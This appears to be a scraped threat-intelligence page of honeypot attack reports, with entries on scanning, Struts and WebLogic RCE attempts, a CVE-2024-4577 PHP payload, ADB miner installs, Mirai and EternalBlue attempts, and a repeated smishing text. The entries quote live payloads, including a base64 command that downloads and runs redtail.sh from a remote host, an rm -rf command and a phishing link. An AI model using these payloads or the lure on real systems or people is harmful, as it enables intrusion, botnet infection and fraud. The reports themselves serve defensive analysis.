### Technical Forensics
- **Target Demographics**: Port scanning is not sequential but targeted, sp ...
show more### Technical Forensics
- **Target Demographics**: Port scanning is not sequential but targeted, specifically hitting 2049 (NFS), 1521 (Oracle), 3306 (MySQL), 5432 (Postgres), and notably, interacting with Conpot honeypots mimicking ICS devices (IEC104 and Kamstrup smart meters).
- **Network Identity**: The actor leverages AWS EC2 (`3.18.106.28`) in US-East-2. The network traffic yields a Go-specific HASSH (`084386fa7ae5039bcf6f07298a05a227`) and JA3 (`cba7f34191ef2379c1325641f6c6c4f4`).
- **Evasion Tactics**: The User-Agent is spoofed to appear as MacOS Chrome, but the underlying TLS and SSH fingerprints betray its programmatic nature.
### Threat Landscape
This operation bridges IT and OT, suggesting a highly capable actor—potentially an APT or advanced initial access broker (IAB)—seeking foothold access for severe downstream impact.
show less
## 3. KILL_CHAIN & MITRE
**1. Reconnaissance [LOGGED]**
- **Time:** 2026-03-09T02:21:41Z (First ...
show more## 3. KILL_CHAIN & MITRE
**1. Reconnaissance [LOGGED]**
- **Time:** 2026-03-09T02:21:41Z (First Seen)
- **Evidence:** Active scanning against exposed web services, logging 6,725 hits for active scanning. The actor probed root directories, `/api/`, and `/wp-admin/` paths.
- **MITRE:** T1595 - Active Scanning. The actor mapped the attack surface to identify vulnerable applications.
**4. Exploitation [LOGGED]**
- **Time:** Continuous throughout the window.
- **Evidence:** Execution of arbitrary code via URI parameters. Example logged artifact: `/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29...` which decodes to a Java
show less
GET /console/framework/skins/wlsconsole/css/%252E%252E%252Fconsole.portal?...ClassPathXmlApplication ...
show moreGET /console/framework/skins/wlsconsole/css/%252E%252E%252Fconsole.portal?...ClassPathXmlApplicationContext("http://64.39.106.17:35467")
{"timestamp":"2025-10-10T19:19:47.125942+0000","flow_id":571499503316323,"in_iface":"bond0","event_type":"alert","vlan":[20],"src_ip":"64.39.106.17","src_port":58082,"dest_ip":"172.16.##.##","dest_port":8080,"proto":"TCP","pkt_src":"wire/pcap","community_id":"1:Pa8m0K9H4tvxRvacTSaHn0H135s=","tx_id":0,"alert":{"action":"allowed","gid":1,"signature_id":2031145,"rev":1,"signature":"ET WEB_SPECIFIC_APPS Possible Oracle WebLogic RCE Fuzzing Inbound M2","category":"Attempted Administrator Privilege Gain","severity":1,"metadata":{"confidence":["Medium"],"created_at":["2020_10_30"],"deployment":["Internal","Perimeter"],"signature_severity":["Informational"],"ta
show less
At 17:31 UTC on September 17, 2025, Security Onion detected a high-severity exploitation attempt tar ...
show moreAt 17:31 UTC on September 17, 2025, Security Onion detected a high-severity exploitation attempt targeting the T-Pot honeypot at 172.16.XX.XX The attack originated from IP 68.183.87.74 and leveraged a known PHP vulnerability (CVE-2024-4577), exploiting auto_prepend_file=php://input to execute base64-encoded shell commands.
The attacker attempted to download and execute a shell script (redtail.sh) from a remote host (178.16.55.224). The script appears designed to self-replicate using the apache.selfrep iden
<?php
shell_exec(base64_decode(
"Y2QgL3RtcCB8fCBjZCAvdmFyL3RtcDsgY3VybCBodHRwOi8vMTc4LjE2LjU1LjIyNC9zaCAtbyByZWR0YWlsLnNoIHx8IHdnZXQgaHR0cDovLzE3OC4xNi41NS4yMjQvc2ggLU8gcmVkdGFpbC5zaDsgY2htb2QgK3ggcmVkdGFpbC5zaDsgLi9yZWR0YWlsLnNoIGN2ZV8yMDI0XzQ1Nzcuc2VsZnJlcDsgcm0gLXJmIHJlZHRhaWwuc2g="
));
echo(md5("Hello CVE-2024-4577"));
?>
show less
Timestamp (UTC): 2025-06-02T21:24:27.241Z
Source Port (on reported IP): 80 (HTTP)
Destination IP ( ...
show moreTimestamp (UTC): 2025-06-02T21:24:27.241Z
Source Port (on reported IP): 80 (HTTP)
Destination IP (Our network): 172.16.20.10
Destination Port (Our network): 34812
Description:
Observed HTTP GET request from our internal host 172.16.20.10 to 34.91.168.191.
The IP address 34.91.168.191 responded by sending a 'text/plain' file of 368 bytes to our host.
The investigation into the file's content and purpose is ongoing.
GET /lawl.sh HTTP/1.1
Host: 34.91.168.191
User-Agent: curl/7.73.0
Accept-Encoding: gzip, deflate
Accept: /
Connection: keep-alive
HTTP/1.1 200 OK
Date: Mon, 02 Jun 2025 21:24:27 GMT
Server: Apache/2.4.62 (CentOS Stream)
Last-Modified: Mon, 02 Jun 2
show less
Multiple Suricata alerts (SID 2000418 – ELF download) from IP 200.123.53.56 over TCP port 5555 targe ...
show moreMultiple Suricata alerts (SID 2000418 – ELF download) from IP 200.123.53.56 over TCP port 5555 targeting honeypot 172.16.20.10. Payload includes ELF binaries and an Android APK ("ufo.apk") indicative of cross-platform malware. Remote shell commands observed:
- pm install /data/local/tmp/ufo.apk
- am start -n com.ufo.miner/com.example.test.MainActivity
- ps | grep trinity
- rm -rf /data/local/tmp/*
Indicates ADB-like activity with persistence attempts. Repeated downloads and command sessions show multi-stage infection behavior. Confidence: High. Severity: High. Likely IoT/Android botnet loader or cryptominer setup.
Observed across 2 distinct sessions and 4 alerts in total.
show less
At 2025-05-16 22:58 UTC, a remote IP address (185.140.194.169) initiated a Telnet session with the T ...
show moreAt 2025-05-16 22:58 UTC, a remote IP address (185.140.194.169) initiated a Telnet session with the T-Pot honeypot (DMZ node 172.16.20.10). Despite multiple failed login attempts, the attacker succeeded in establishing a shell using the username mother@ubuntu. The session involved system enumeration, command execution, payload staging attempts, and fallback to failed download commands. This behavior mimics post-exploitation C2 and script-based lateral movement techniques. The attacker issued unknown commands via BusyBox and used /dev/shm as a staging area, suggesting attempted stealth persistence.
show less
Your Security Onion / Suricata sensor has caught a live exploit attempt for the MVPower DVR “/shell” ...
show moreYour Security Onion / Suricata sensor has caught a live exploit attempt for the MVPower DVR “/shell” remote‑command bug—an oldie‑but‑still‑golden favorite of the Mirai/Gafgyt IoT botnet family.
The attacker (41.233.204.231:60972, Egypt‑allocated subnet) tried to push an ARM7 binary called xd.arm7 that would have turned any vulnerable DVR, IP‑cam or embedded Linux box at 172.16.XX.XX:5501 into another Mirai soldier. Because the flow was allowed, the packet reached your honeynet / DMZ host, but no follow‑up traffic has (yet) been seen.
show less
110.138.207.60, TCP port 445, SMB Session Setup, Tree Connect, Trans2 using Metasploit.
Indicator ...
show more110.138.207.60, TCP port 445, SMB Session Setup, Tree Connect, Trans2 using Metasploit.
Indicator Value
Threat Type Remote Code Execution (via SMB)
Risk Score 9.5/10
Affected System Honeypot on ###.###.###.###
Exploit Attempted EternalBlue (MS17-010)
Known Exploit Kit Metasploit
Malware Family ETERNALBLUE
show less
City Department of Transportation Final warning: $6.99 owed. Must pay by 03/17 to close case or face ...
show moreCity Department of Transportation Final warning: $6.99 owed. Must pay by 03/17 to close case or face court summons. Settle now: __https://iolkyrlinn.vip/us Thank you for your cooperation.
show less
City Department of Transportation Final warning: $6.99 owed. Must pay by 03/17 to close case or face ...
show moreCity Department of Transportation Final warning: $6.99 owed. Must pay by 03/17 to close case or face court summons. Settle now: __https://iolkyrlinn.vip/us Thank you for your cooperation.
show less